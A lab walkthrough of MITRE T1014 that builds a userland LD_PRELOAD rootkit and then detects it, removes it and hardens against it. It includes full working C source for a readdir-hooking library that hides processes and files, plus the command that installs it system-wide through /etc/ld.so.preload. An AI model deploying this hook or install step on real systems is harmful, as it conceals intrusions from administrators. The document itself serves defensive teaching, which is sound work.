A 70-line shared library makes ps, pgrep, and ls lie to every administrator on the box. This file builds it, watches a process vanish from every normal tool, finds it again by asking the kernel directly, and closes the exact hole it came through.
MITRE ATT&CK T1014: adversaries hide processes, files, and network connections from the tools administrators trust. A rootkit is not one program; it is any code that sits between your tools and the truth and edits the answer on the way through.
Why this technique. Your tools are only as honest as the layers beneath them. ps does not see processes; it reads /proc through the C library. If someone rewrites what the library reports, ps reports the rewrite. That is the entire attack, and it fits in 70 lines of C. Every defender who has ever said "I checked, nothing is running" should know how cheap that check is to defeat.
Why not a kernel rootkit. Serious rootkits often live in the kernel, where they can hide from every syscall at once. This file stays in userland on purpose. A kernel module needs a matching kernel build, taints the test box, and turns one walkthrough into a driver tutorial. The userland version teaches the core idea, interposition between tool and truth, with nothing but gcc. The kernel variant is a different file.
Why the file, not the environment variable. LD_PRELOAD as an environment variable only affects processes launched with it set. /etc/ld.so.preload is read by the dynamic loader for every new process on the system, which makes it system-wide and persistent across logins. Real deployments of this technique use the file, so this file demonstrates the file.
The concrete case, before the abstraction. Two programs list the same directory. pgrep says no such process. deepscan, reading /proc with a raw system call instead of the C library, prints HIDDEN PID 30. Same kernel, same directory, different answers, because they took different paths to the truth. Detection here is comparing two observation paths that do not share a trust dependency.
Terms, earned. Rootkit: code whose job is concealment. Userland rootkits hook libraries or tools; kernel rootkits hook the kernel itself. This file builds a userland one. LD_PRELOAD is an environment variable (and /etc/ld.so.preload is its system-wide equivalent) listing shared libraries the dynamic loader loads before all others. Interposition is defining your own version of a library function so yours runs instead. getdents64 is the raw syscall that lists directory entries; readdir is the C library wrapper around it, and the wrapper is where the lie is installed.
Scope. Rootkits hide in dozens of places: kernel modules, bootloaders, firmware, eBPF programs, patched binaries. This file works one of them end to end. One implementation, one resolution, among many.
Ubuntu 24.04.5 LTS with gcc 13, in a disposable container used only for this lab. Run this on a throwaway box, never on a machine you care about. You need root for the /etc/ld.so.preload steps.
Two small C files for the attack: the library (hide.c), which is the rootkit, and the miner (miner.c), a harmless stand-in payload. The detector and the monitor are built in the sections that use them.
$ gcc -shared -fPIC -O2 -o libghost.so hide.c -ldl $ gcc -O2 -o ghost-miner miner.c
The whole attack. It interposes on readdir and readdir64 via dlsym(RTLD_NEXT, ...), which finds the next definition of the symbol, the real libc one, resolved lazily on first call. Read it as three helpers plus one filter: hide_name decides whether a filename vanishes, proc_pid_hidden checks a /proc entry's comm, dir_is_proc limits the PID logic to /proc listings, and filtered_readdir skips whatever the helpers flag.
/* hide.c - GH-002 lab specimen: userland rootkit via libc hooking.
* Intercepts readdir/readdir64 and hides:
* 1. any /proc/<pid> whose comm contains "ghost" (hides processes)
* 2. any file or directory whose name contains "ghost" (hides files, incl. itself)
* Loaded through /etc/ld.so.preload it affects every new process on the box.
* ~60 lines. This is the entire "invisible process" trick. */
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <limits.h>
static int hide_name(const char *name) {
return name && strstr(name, "ghost") != NULL;
}
/* Which directory is this DIR* reading? We only apply the PID logic to /proc. */
static int dir_is_proc(DIR *dirp) {
char link[PATH_MAX], fdpath[64];
snprintf(fdpath, sizeof fdpath, "/proc/self/fd/%d", dirfd(dirp));
ssize_t n = readlink(fdpath, link, sizeof link - 1);
if (n < 0) return 0;
link[n] = '\0';
return strcmp(link, "/proc") == 0;
}
/* A /proc/<pid> entry is hidden when the process's comm contains "ghost". */
static int proc_pid_hidden(const char *d_name) {
char *end;
strtol(d_name, &end, 10);
if (*end != '\0') return 0; /* not a PID entry */
char path[64], comm[256];
snprintf(path, sizeof path, "/proc/%s/comm", d_name);
FILE *f = fopen(path, "r");
if (!f) return 0;
int hidden = (fgets(comm, sizeof comm, f) && strstr(comm, "ghost")) ? 1 : 0;
fclose(f);
return hidden;
}
typedef struct dirent *(*readdir_t)(DIR *);
static struct dirent *filtered_readdir(DIR *dirp, readdir_t real) {
int isproc = dir_is_proc(dirp);
struct dirent *e;
while ((e = real(dirp)) != NULL) {
if (isproc) {
if (!proc_pid_hidden(e->d_name)) return e;
} else {
if (!hide_name(e->d_name)) return e;
}
}
return NULL;
}
struct dirent *readdir(DIR *dirp) {
static readdir_t real = NULL;
if (!real) real = (readdir_t)dlsym(RTLD_NEXT, "readdir");
return filtered_readdir(dirp, real);
}
struct dirent64 *readdir64(DIR *dirp) {
static struct dirent64 *(*real64)(DIR *) = NULL;
if (!real64) real64 = (struct dirent64 *(*)(DIR *))dlsym(RTLD_NEXT, "readdir64");
/* struct dirent64 is layout-compatible with struct dirent on 64-bit glibc */
return (struct dirent64 *)filtered_readdir(dirp, (readdir_t)real64);
}
Two hiding rules. Rule one: any filename containing ghost is skipped, which hides the lab directory itself. Rule two: when the directory being listed is /proc, any numeric entry whose /proc/<pid>/comm contains ghost is skipped, which hides the process. The dir_is_proc check matters: without it, the PID logic would leak into ordinary directory listings, and the lie would be visible in its sloppiness.
Names itself ghost-miner with prctl and sleeps forever. It mines nothing; the name is the point, it is what a real payload would want hidden.
/* miner.c - GH-002 lab specimen: the "malicious" payload.
* Names itself ghost-miner via prctl so it shows up in ps/top under that name,
* then just sleeps. Stand-in for any payload a red team wants hidden. */
#include <sys/prctl.h>
#include <unistd.h>
int main(void) {
prctl(PR_SET_NAME, "ghost-miner", 0, 0, 0);
for (;;) pause();
return 0;
}
The attack has four moves: build the library, launch a visible payload, register the library system-wide, and confirm the payload is gone from every normal tool while still running. Watch the full sequence, then reproduce it.
Launch first and prove visibility. Without the before state, the after state proves nothing.
$ setsid ./ghost-miner </dev/null >/dev/null 2>&1 & $ pgrep -a ghost-miner
pgrep prints the PID and the name. The process exists and every tool agrees.
One line into /etc/ld.so.preload, and the dynamic loader injects the library into every subsequently launched process.
$ echo /tmp/ghost-ops/libghost.so > /etc/ld.so.preload $ cat /etc/ld.so.preload /tmp/ghost-ops/libghost.so $ pgrep -a ghost-miner || echo "no such process" no such process $ ls /tmp | grep ghost || echo "ghost-ops is not listed" ghost-ops is not listed
Note what happened precisely. cat still reads the preload file fine, because the filter only hides names containing ghost in directory listings, not file contents. But pgrep finds no process and ls skips the lab directory. The miner is still running; every newly launched tool simply cannot see it.
One line in a loader config file removes a running process from ps, pgrep, and directory listings, with no kernel module, no patched binary, no elevated process of its own. The tools are not broken; they are faithfully reporting a censored view.
Rerunning ps with different flags is not an independent check. Detection here is a second observation path that does not share the compromised layer.
Here is the trap most defenders walk into: ps aux, pgrep, top, and ls /proc all enumerate through the same hooked readdir. Asking the same compromised layer twice is one observation, not two.
The fix is a second observation path that does not share the trust dependency. deepscan calls getdents64 directly, so the hooked wrapper never runs. Compare the two views; the difference is the detection.
The detector is built here because this is where it is used. Instead of libc readdir, it calls getdents64 directly with syscall(), bypassing any hooked wrapper. Any PID it finds whose comm contains ghost gets flagged. The comparison is the detection.
$ gcc -O2 -o deepscan deepscan.c
/* deepscan.c - GH-002 lab tool: the detector.
* Lists /proc with the raw getdents64 SYSCALL, bypassing libc entirely,
* so an LD_PRELOAD hook on readdir cannot blind it. Reports any process
* whose comm contains "ghost": the ones ps, pgrep and top cannot see.
* Compile: gcc -O2 -o deepscan deepscan.c (no special flags needed) */
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdlib.h>
struct linux_dirent64 {
unsigned long d_ino;
long d_off;
unsigned short d_reclen;
unsigned char d_type;
char d_name[];
};
int main(void) {
int fd = open("/proc", O_RDONLY | O_DIRECTORY);
if (fd < 0) { perror("open /proc"); return 1; }
char buf[8192];
int found = 0;
for (;;) {
long n = syscall(SYS_getdents64, fd, buf, sizeof buf);
if (n <= 0) break;
long off = 0;
while (off < n) {
struct linux_dirent64 *d = (struct linux_dirent64 *)(buf + off);
char *end;
strtol(d->d_name, &end, 10);
if (*end == '\0') { /* numeric: a PID */
char path[64], comm[256];
snprintf(path, sizeof path, "/proc/%s/comm", d->d_name);
int cfd = open(path, O_RDONLY); /* plain read: unhooked */
if (cfd >= 0) {
ssize_t r = read(cfd, comm, sizeof comm - 1);
if (r > 0) {
comm[r] = '\0';
if (strstr(comm, "ghost")) {
comm[strcspn(comm, "\n")] = '\0';
printf("HIDDEN PID %-8s comm=%s (invisible to ps, pgrep, top)\n",
d->d_name, comm);
found++;
}
}
close(cfd);
}
}
off += d->d_reclen;
}
}
close(fd);
if (!found) printf("no hidden processes found\n");
return 0;
}
$ pgrep -a ghost-miner || echo "no such process" no such process $ ./deepscan HIDDEN PID 30 comm=ghost-miner (invisible to ps, pgrep, top)
pgrep says nothing is there. deepscan prints the hidden PID and its comm name. The contradiction is the finding: two views of the same directory disagree, so one of the paths is lying.
/proc/<pid>/cmdline is read as file contents, not a directory listing, so the readdir hook does not filter it. A direct ps -p <pid> is worth trying too, and worth knowing the limit of: on this build it printed only its heading, because even ps's direct lookup path still consults the hooked enumeration.
Measured nuance: top -b -n1 -p <pid> on this build did show the process, because top's -p path reads /proc/<pid> directly instead of enumerating. So the blind-direct-lookup limit is ps-specific here, not universal. Try both; believe the one that does not enumerate.
$ P=$(./deepscan | awk '/HIDDEN/ {print $3}'); echo "target PID: $P"
target PID: 30
$ cat /proc/$P/cmdline | tr '\0' ' '; echo
/tmp/ghost-ops/ghost-miner
$ cat /etc/ld.so.preload
/tmp/ghost-ops/libghost.so
The cmdline shows the real binary path. The preload file names the library. Between the two views and the config file, the full mechanism is on the table: what is hidden, and exactly how.
The hidden process is recoverable without any trusted tool: one raw syscall plus direct /proc reads. The general lesson is portable to every rootkit in this class: when the observation layer is suspect, observe around it, not through it.
Three moves, in order: remove the implant, watch the door it came through, and narrow the door. Each is one way, not the way.
The hook blinds every tool that enumerates processes, and that includes pkill: pkill -x ghost-miner run while the hook is active exits 1 and the miner survives, because pkill lists /proc through the same hooked readdir (verified). So do not start from a name. Start from the uncompromised view:
$ P=$(./deepscan | awk '/HIDDEN/ {print $3}'); echo "target PID: $P"
target PID: 26
$ kill -9 $P
kill takes a PID directly and never enumerates, so the hook cannot blind it. Then remove the persistence and the dropped files, the whole directory, not just the library:
$ rm -f /etc/ld.so.preload $ rm -rf /tmp/ghost-ops
Then re-run the cross-view check and confirm the views agree:
$ ./deepscan no hidden processes found $ ls /tmp | grep ghost || echo "views agree: nothing hidden" views agree: nothing hidden
(The last line only agrees because the drop directory is gone: removing just the .so leaves /tmp/ghost-ops behind, and an unhooked ls will still show it.)
Good vs bad: after the kill, deepscan must show no HIDDEN lines AND pgrep must agree with it. If deepscan still names a PID, the kill missed; if pgrep and deepscan disagree, a hook is still loaded somewhere.
On a real box this is also where you sweep the other persistence routes this file does not cover (cron, systemd units, shell profiles) and consider the box compromised until rebuilt, because a rootkit is evidence of root access, not the extent of it.
First principle: never ask a compromised layer to act against itself. pkill asks the hooked enumeration to find the hidden process; kill by PID from the second observation path does not ask the liar anything.
The attack needs one file write. A watcher on /etc/ld.so.preload turns that write into an alert the moment it happens. D3FEND names this File Integrity Monitoring (D3-FIM): detecting suspicious changes to files, and System File Analysis (D3-SFA): monitoring system files for tampering. The lab version below is a minimal D3-FIM for one file; production versions cover the whole set of loader and library paths.
Build the monitor here, where it is used. It uses the kernel inotify API directly, so no extra packages are needed.
$ gcc -O2 -o watch watch.c
/* watch.c - GH-002 lab tool: minimal inotify watcher.
* Prints timestamped events for a watched file. Same kernel API inotifywait uses,
* no package install needed. Compile: gcc -O2 -o watch watch.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/inotify.h>
int main(int argc, char **argv) {
if (argc < 2) { fprintf(stderr, "usage: %s <file>\n", argv[0]); return 1; }
int fd = inotify_init1(0);
if (fd < 0) { perror("inotify_init1"); return 1; }
int wd = inotify_add_watch(fd, argv[1], IN_MODIFY | IN_ATTRIB | IN_CREATE | IN_DELETE_SELF);
if (wd < 0) { perror("inotify_add_watch"); return 1; }
printf("watching %s ...\n", argv[1]);
fflush(stdout);
char buf[4096];
for (;;) {
ssize_t n = read(fd, buf, sizeof buf);
if (n <= 0) break;
time_t now = time(NULL);
char t[32];
strftime(t, sizeof t, "%H:%M:%S", localtime(&now));
for (char *p = buf; p < buf + n; ) {
struct inotify_event *e = (struct inotify_event *)p;
const char *what = (e->mask & IN_MODIFY) ? "MODIFY" :
(e->mask & IN_ATTRIB) ? "ATTRIB" :
(e->mask & IN_CREATE) ? "CREATE" : "OTHER";
printf("%s %s %s\n", t, argv[1], what);
fflush(stdout);
p += sizeof(struct inotify_event) + e->len;
}
}
return 0;
}
$ touch /etc/ld.so.preload $ ./watch /etc/ld.so.preload & $ echo /tmp/ghost-ops/libghost.so > /etc/ld.so.preload
The watcher prints timestamped MODIFY lines the instant the file changes.
Honest limit. This catches the /etc/ld.so.preload route. It does not catch kernel rootkits, patched binaries, or any install path that avoids this file. Monitor the door you know; do not claim the building.
Point /etc/ld.so.preload at /dev/null. Writes to the path then go nowhere: the install command exits 0 and stores zero bytes. D3FEND's Local File Permissions (D3-LFP) is the general form of this move: controlling which principals can write security-sensitive files, so the install route is closed by policy rather than by luck.
$ ln -sf /dev/null /etc/ld.so.preload && ls -la /etc/ld.so.preload lrwxrwxrwx 1 root root 9 Sep 23 07:32 /etc/ld.so.preload -> /dev/null $ echo /tmp/ghost-ops/libghost.so > /etc/ld.so.preload $ wc -c /etc/ld.so.preload 0 /etc/ld.so.preload $ echo "# the install path is gone: writes fall into /dev/null." # the install path is gone: writes fall into /dev/null.
wc -c reports 0. The system-wide route is closed. Now the honest part, shown in the recording: LD_PRELOAD=/tmp/ghost-ops/libghost.so ls /tmp still hides the directory, because the environment variable route never touches the file. And root can delete the symlink. This control narrows one route; it does not solve rootkits. For the library file itself, D3FEND adds File Analysis (D3-FA) and File Hashing (D3-FH): inspect any unknown .so found on the loader path and compare its hash against a known-good baseline, so a dropped library is evidence even when no process visibly loads it.
Removal works, monitoring the loader config catches this install route the instant it is used, and the /dev/null symlink closes that route for non-root writers. None of them survive a root attacker who knows they exist. Containment, trusted recovery media, and a clean rebuild are the real answer to a rooted box.
Your tools report what the C library tells them. Verify through a second path that does not trust the first.
IOC checklist: signs this technique was used
Reproducibility checklist
Sources
MITRE ATT&CK T1014: Rootkit
ld.so(8) (the dynamic loader and /etc/ld.so.preload)
getdents64(2) (the raw directory-entry syscall)
dlsym(3) (RTLD_NEXT interposition)
inotify(7) (filesystem event monitoring)
MITRE D3FEND: D3-FIM, D3-SFA, D3-LFP, D3-FA, D3-FH
Process injection with the debugger's own machinery: ptrace system calls, T1055.008.